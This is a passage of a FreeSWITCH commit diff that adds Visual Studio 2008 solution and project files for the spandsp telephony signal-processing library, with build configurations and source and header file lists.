+	ProjectSection(ProjectDependencies) = postProject
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917} = {2B8A45C9-FEB4-4734-AB37-8DB9DB899917}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Download TIFF", "msvc\Download_TIFF.2008.vcproj", "{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}"
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "t38_core_tests", "..\tests\msvc\t38_core_tests.vcproj", "{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "t38_non_ecm_buffer_tests", "..\tests\msvc\t38_non_ecm_buffer_tests.vcproj", "{80A3D9D9-3846-4DA5-8676-F940D725EA62}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vector_int_tests", "..\tests\msvc\vector_int_tests.vcproj", "{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vector_float_tests", "..\tests\msvc\vector_float_tests.vcproj", "{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "complex_tests", "..\tests\msvc\complex_tests.vcproj", "{A349379F-0FEA-49C8-9535-05F39663337B}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "complex_vector_float_tests", "..\tests\msvc\complex_vector_float_tests.vcproj", "{2B0D705C-1CF2-401C-BFBC-A43FB806908C}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "complex_vector_int_tests", "..\tests\msvc\complex_vector_int_tests.vcproj", "{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}"
+	ProjectSection(ProjectDependencies) = postProject
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5} = {1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}
+	EndProjectSection
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		All|Win32 = All|Win32
+		All|x64 = All|x64
+		Debug|Win32 = Debug|Win32
+		Debug|x64 = Debug|x64
+		Release|Win32 = Release|Win32
+		Release|x64 = Release|x64
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.All|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|Win32.Build.0 = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Debug|x64.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|Win32.ActiveCfg = All|Win32
+		{DEE932AB-5911-4700-9EEB-8C7090A0A330}.Release|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.All|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|Win32.Build.0 = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Debug|x64.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|Win32.ActiveCfg = All|Win32
+		{329A6FA0-0FCC-4435-A950-E670AEFA9838}.Release|x64.ActiveCfg = All|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|Win32.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.All|x64.Build.0 = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.ActiveCfg = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|Win32.Build.0 = Debug|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.ActiveCfg = Debug|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Debug|x64.Build.0 = Debug|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.ActiveCfg = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|Win32.Build.0 = Release|Win32
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.ActiveCfg = Release|x64
+		{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}.Release|x64.Build.0 = Release|x64
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.All|Win32.ActiveCfg = Release|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.All|Win32.Build.0 = Release|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.All|x64.ActiveCfg = Release|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Debug|Win32.ActiveCfg = Debug|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Debug|Win32.Build.0 = Debug|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Debug|x64.ActiveCfg = Debug|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Release|Win32.ActiveCfg = Release|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Release|Win32.Build.0 = Release|Win32
+		{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}.Release|x64.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|Win32.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.All|x64.Build.0 = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.ActiveCfg = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|Win32.Build.0 = Debug|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.ActiveCfg = Debug|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Debug|x64.Build.0 = Debug|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.ActiveCfg = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|Win32.Build.0 = Release|Win32
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.ActiveCfg = Release|x64
+		{401A40CD-5DB4-4E34-AC68-FA99E9FAC014}.Release|x64.Build.0 = Release|x64
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.All|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.All|Win32.Build.0 = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.All|x64.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Debug|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Debug|Win32.Build.0 = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Debug|x64.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Release|Win32.ActiveCfg = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Release|Win32.Build.0 = All|Win32
+		{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}.Release|x64.ActiveCfg = All|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.All|Win32.ActiveCfg = Release|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.All|Win32.Build.0 = Release|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.All|x64.ActiveCfg = Release|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Debug|Win32.ActiveCfg = Debug|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Debug|Win32.Build.0 = Debug|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Debug|x64.ActiveCfg = Debug|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Release|Win32.ActiveCfg = Release|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Release|Win32.Build.0 = Release|Win32
+		{A34A9D0E-A7E2-4A04-B044-7BB2FE709EF3}.Release|x64.ActiveCfg = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.All|Win32.ActiveCfg = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.All|Win32.Build.0 = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.All|x64.ActiveCfg = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Debug|Win32.ActiveCfg = Debug|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Debug|Win32.Build.0 = Debug|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Debug|x64.ActiveCfg = Debug|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Release|Win32.ActiveCfg = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Release|Win32.Build.0 = Release|Win32
+		{80A3D9D9-3846-4DA5-8676-F940D725EA62}.Release|x64.ActiveCfg = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.All|Win32.ActiveCfg = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.All|Win32.Build.0 = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.All|x64.ActiveCfg = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Debug|Win32.ActiveCfg = Debug|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Debug|Win32.Build.0 = Debug|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Debug|x64.ActiveCfg = Debug|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Release|Win32.ActiveCfg = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Release|Win32.Build.0 = Release|Win32
+		{80A60464-29E8-4EE8-BAFA-8708B7C08CC3}.Release|x64.ActiveCfg = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.All|Win32.ActiveCfg = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.All|Win32.Build.0 = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.All|x64.ActiveCfg = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Debug|Win32.ActiveCfg = Debug|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Debug|Win32.Build.0 = Debug|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Debug|x64.ActiveCfg = Debug|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Release|Win32.ActiveCfg = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Release|Win32.Build.0 = Release|Win32
+		{EA745FF7-9E4B-4C13-BA19-2EE8165A6245}.Release|x64.ActiveCfg = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.All|Win32.ActiveCfg = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.All|Win32.Build.0 = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.All|x64.ActiveCfg = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Debug|Win32.ActiveCfg = Debug|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Debug|Win32.Build.0 = Debug|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Debug|x64.ActiveCfg = Debug|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Release|Win32.ActiveCfg = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Release|Win32.Build.0 = Release|Win32
+		{A349379F-0FEA-49C8-9535-05F39663337B}.Release|x64.ActiveCfg = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.All|Win32.ActiveCfg = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.All|Win32.Build.0 = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.All|x64.ActiveCfg = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Debug|Win32.ActiveCfg = Debug|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Debug|Win32.Build.0 = Debug|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Debug|x64.ActiveCfg = Debug|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Release|Win32.ActiveCfg = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Release|Win32.Build.0 = Release|Win32
+		{2B0D705C-1CF2-401C-BFBC-A43FB806908C}.Release|x64.ActiveCfg = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.All|Win32.ActiveCfg = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.All|Win32.Build.0 = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.All|x64.ActiveCfg = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Debug|Win32.ActiveCfg = Debug|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Debug|Win32.Build.0 = Debug|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Debug|x64.ActiveCfg = Debug|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Release|Win32.ActiveCfg = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Release|Win32.Build.0 = Release|Win32
+		{C2E8B4D1-A398-4D57-94F8-B61F20C7D514}.Release|x64.ActiveCfg = Release|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.All|Win32.ActiveCfg = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.All|Win32.Build.0 = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.All|x64.ActiveCfg = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Debug|Win32.ActiveCfg = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Debug|Win32.Build.0 = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Debug|x64.ActiveCfg = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Release|Win32.ActiveCfg = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Release|Win32.Build.0 = All|Win32
+		{F290BADE-82DE-4037-B49D-D563E43169DA}.Release|x64.ActiveCfg = All|Win32
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

Copied: freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/src/libspandsp.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/src/libspandsp.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,470 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspandsp"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+    <Platform
+			Name="x64"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp.lib"
+				TargetMachine="17"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;.\spandsp;.\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp.lib"
+				TargetMachine="17"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+<File RelativePath="adsi.c"></File>
+<File RelativePath="async.c"></File>
+<File RelativePath="at_interpreter.c"></File>
+<File RelativePath="awgn.c"></File>
+<File RelativePath="bell_r2_mf.c"></File>
+<File RelativePath="bert.c"></File>
+<File RelativePath="bit_operations.c"></File>
+<File RelativePath="bitstream.c"></File>
+<File RelativePath="complex_filters.c"></File>
+<File RelativePath="complex_vector_float.c"></File>
+<File RelativePath="complex_vector_int.c"></File>
+<File RelativePath="crc.c"></File>
+<File RelativePath="dds_float.c"></File>
+<File RelativePath="dds_int.c"></File>
+<File RelativePath="dtmf.c"></File>
+<File RelativePath="echo.c"></File>
+<File RelativePath="fax.c"></File>
+<File RelativePath="fax_modems.c"></File>
+<File RelativePath="fsk.c"></File>
+<File RelativePath="g711.c"></File>
+<File RelativePath="g722.c"></File>
+<File RelativePath="g726.c"></File>
+<File RelativePath="gsm0610_decode.c"></File>
+<File RelativePath="gsm0610_encode.c"></File>
+<File RelativePath="gsm0610_long_term.c"></File>
+<File RelativePath="gsm0610_lpc.c"></File>
+<File RelativePath="gsm0610_preprocess.c"></File>
+<File RelativePath="gsm0610_rpe.c"></File>
+<File RelativePath="gsm0610_short_term.c"></File>
+<File RelativePath="hdlc.c"></File>
+<File RelativePath="ima_adpcm.c"></File>
+<File RelativePath="logging.c"></File>
+<File RelativePath="lpc10_analyse.c"></File>
+<File RelativePath="lpc10_decode.c"></File>
+<File RelativePath="lpc10_encode.c"></File>
+<File RelativePath="lpc10_placev.c"></File>
+<File RelativePath="lpc10_voicing.c"></File>
+<File RelativePath="modem_echo.c"></File>
+<File RelativePath="modem_connect_tones.c"></File>
+<File RelativePath="noise.c"></File>
+<File RelativePath="oki_adpcm.c"></File>
+<File RelativePath="playout.c"></File>
+<File RelativePath="plc.c"></File>
+<File RelativePath="power_meter.c"></File>
+<File RelativePath="queue.c"></File>
+<File RelativePath="schedule.c"></File>
+<File RelativePath="sig_tone.c"></File>
+<File RelativePath="silence_gen.c"></File>
+<File RelativePath="super_tone_rx.c"></File>
+<File RelativePath="super_tone_tx.c"></File>
+<File RelativePath="t4.c"></File>
+<File RelativePath="t30.c"></File>
+<File RelativePath="t30_api.c"></File>
+<File RelativePath="t30_logging.c"></File>
+<File RelativePath="t31.c"></File>
+<File RelativePath="t35.c"></File>
+<File RelativePath="t38_core.c"></File>
+<File RelativePath="t38_gateway.c"></File>
+<File RelativePath="t38_non_ecm_buffer.c"></File>
+<File RelativePath="t38_terminal.c"></File>
+<File RelativePath="testcpuid.c"></File>
+<File RelativePath="time_scale.c"></File>
+<File RelativePath="tone_detect.c"></File>
+<File RelativePath="tone_generate.c"></File>
+<File RelativePath="v17rx.c"></File>
+<File RelativePath="v17tx.c"></File>
+<File RelativePath="v18.c"></File>
+<File RelativePath="v22bis_rx.c"></File>
+<File RelativePath="v22bis_tx.c"></File>
+<File RelativePath="v27ter_rx.c"></File>
+<File RelativePath="v27ter_tx.c"></File>
+<File RelativePath="v29rx.c"></File>
+<File RelativePath="v29tx.c"></File>
+<File RelativePath="v42.c"></File>
+<File RelativePath="v42bis.c"></File>
+<File RelativePath="v8.c"></File>
+<File RelativePath="vector_float.c"></File>
+<File RelativePath="vector_int.c"></File>
+<File RelativePath=".\msvc\gettimeofday.c"></File>
+</Filter><Filter  Name="Header Files">
+<File RelativePath="spandsp/adsi.h"></File>
+<File RelativePath="spandsp/async.h"></File>
+<File RelativePath="spandsp/arctan2.h"></File>
+<File RelativePath="spandsp/at_interpreter.h"></File>
+<File RelativePath="spandsp/awgn.h"></File>
+<File RelativePath="spandsp/bell_r2_mf.h"></File>
+<File RelativePath="spandsp/bert.h"></File>
+<File RelativePath="spandsp/biquad.h"></File>
+<File RelativePath="spandsp/bit_operations.h"></File>
+<File RelativePath="spandsp/bitstream.h"></File>
+<File RelativePath="spandsp/crc.h"></File>
+<File RelativePath="spandsp/complex.h"></File>
+<File RelativePath="spandsp/complex_filters.h"></File>
+<File RelativePath="spandsp/complex_vector_float.h"></File>
+<File RelativePath="spandsp/complex_vector_int.h"></File>
+<File RelativePath="spandsp/dc_restore.h"></File>
+<File RelativePath="spandsp/dds.h"></File>
+<File RelativePath="spandsp/dtmf.h"></File>
+<File RelativePath="spandsp/echo.h"></File>
+<File RelativePath="spandsp/fast_convert.h"></File>
+<File RelativePath="spandsp/fax.h"></File>
+<File RelativePath="spandsp/fax_modems.h"></File>
+<File RelativePath="spandsp/fir.h"></File>
+<File RelativePath="spandsp/fsk.h"></File>
+<File RelativePath="spandsp/g168models.h"></File>
+<File RelativePath="spandsp/g711.h"></File>
+<File RelativePath="spandsp/g722.h"></File>
+<File RelativePath="spandsp/g726.h"></File>
+<File RelativePath="spandsp/gsm0610.h"></File>
+<File RelativePath="spandsp/hdlc.h"></File>
+<File RelativePath="spandsp/ima_adpcm.h"></File>
+<File RelativePath="spandsp/logging.h"></File>
+<File RelativePath="spandsp/lpc10.h"></File>
+<File RelativePath="spandsp/modem_echo.h"></File>
+<File RelativePath="spandsp/modem_connect_tones.h"></File>
+<File RelativePath="spandsp/noise.h"></File>
+<File RelativePath="spandsp/oki_adpcm.h"></File>
+<File RelativePath="spandsp/playout.h"></File>
+<File RelativePath="spandsp/plc.h"></File>
+<File RelativePath="spandsp/power_meter.h"></File>
+<File RelativePath="spandsp/queue.h"></File>
+<File RelativePath="spandsp/saturated.h"></File>
+<File RelativePath="spandsp/schedule.h"></File>
+<File RelativePath="spandsp/sig_tone.h"></File>
+<File RelativePath="spandsp/silence_gen.h"></File>
+<File RelativePath="spandsp/super_tone_rx.h"></File>
+<File RelativePath="spandsp/super_tone_tx.h"></File>
+<File RelativePath="spandsp/t4.h"></File>
+<File RelativePath="spandsp/t30.h"></File>
+<File RelativePath="spandsp/t30_api.h"></File>
+<File RelativePath="spandsp/t30_fcf.h"></File>
+<File RelativePath="spandsp/t30_logging.h"></File>
+<File RelativePath="spandsp/t31.h"></File>
+<File RelativePath="spandsp/t35.h"></File>
+<File RelativePath="spandsp/t38_core.h"></File>
